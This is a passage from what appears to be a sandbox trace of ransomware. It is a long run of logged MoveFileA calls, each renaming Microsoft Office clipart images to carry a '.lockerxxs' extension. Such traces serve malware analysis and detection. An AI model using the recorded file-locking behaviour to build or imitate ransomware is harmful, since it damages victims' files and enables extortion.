office\\clipart\\pub60cor\\j0148798.jpg.lockerxxs")) returned 1 [0060.558] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.lockerxxs")) returned 1 [0060.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.lockerxxs")) returned 1 [0060.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.lockerxxs")) returned 1 [0060.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.lockerxxs")) returned 1 [0060.591] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.lockerxxs")) returned 1 [0060.594] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.lockerxxs")) returned 1 [0060.600] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.lockerxxs")) returned 1 [0060.608] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.lockerxxs")) returned 1 [0060.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.lockerxxs")) returned 1 [0060.616] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.lockerxxs")) returned 1 [0060.620] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.lockerxxs")) returned 1 [0060.623] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.lockerxxs")) returned 1 [0060.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.lockerxxs")) returned 1 [0060.631] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.lockerxxs")) returned 1 [0060.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.lockerxxs")) returned 1 [0060.639] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.lockerxxs")) returned 1 [0060.644] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.lockerxxs")) returned 1 [0060.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.lockerxxs")) returned 1 [0060.671] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.lockerxxs")) returned 1 [0060.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.lockerxxs")) returned 1 [0060.682] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.lockerxxs")) returned 1 [0060.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.lockerxxs")) returned 1 [0060.703] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.lockerxxs")) returned 1 [0060.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.lockerxxs")) returned 1 [0060.710] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.lockerxxs")) returned 1 [0060.713] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.lockerxxs")) returned 1 [0060.717] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.lockerxxs")) returned 1 [0060.720] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.lockerxxs")) returned 1 [0060.728] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.lockerxxs")) returned 1 [0060.731] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.lockerxxs")) returned 1 [0060.739] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.lockerxxs")) returned 1 [0060.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.lockerxxs")) returned 1 [0060.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.lockerxxs")) returned 1 [0060.752] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.lockerxxs")) returned 1 [0060.756] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.lockerxxs")) returned 1 [0060.759] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.lockerxxs")) returned 1 [0060.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.lockerxxs")) returned 1 [0060.766] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.lockerxxs")) returned 1 [0060.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.lockerxxs")) returned 1 [0060.774] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.lockerxxs")) returned 1 [0060.781] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.lockerxxs")) returned 1 [0060.785] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.lockerxxs")) returned 1 [0060.790] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.lockerxxs")) returned 1 [0060.802] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.lockerxxs")) returned 1 [0060.806] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.lockerxxs")) returned 1 [0060.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.lockerxxs")) returned 1 [0060.812] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.lockerxxs")) returned 1 [0060.816] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.lockerxxs")) returned 1 [0060.821] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.lockerxxs")) returned 1 [0060.825] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.lockerxxs")) returned 1 [0060.828] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.lockerxxs")) returned 1 [0060.846] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.lockerxxs")) returned 1 [0060.850] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.lockerxxs")) returned 1 [0060.854] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.lockerxxs")) returned 1 [0060.857] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.lockerxxs")) returned 1 [0060.861] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.lockerxxs")) returned 1 [0060.867] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.lockerxxs")) returned 1 [0060.871] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.lockerxxs")) returned 1 [0060.874] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.lockerxxs")) returned 1 [0060.879] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.lockerxxs")) returned 1 [0060.883] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.lockerxxs")) returned 1 [0060.887] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.lockerxxs")) returned 1 [0060.890] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.lockerxxs")) returned 1 [0060.896] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.lockerxxs")) returned 1 [0060.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.lockerxxs")) returned 1 [0060.905] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.lockerxxs")) returned 1 [0060.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.lockerxxs")) returned 1 [0060.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 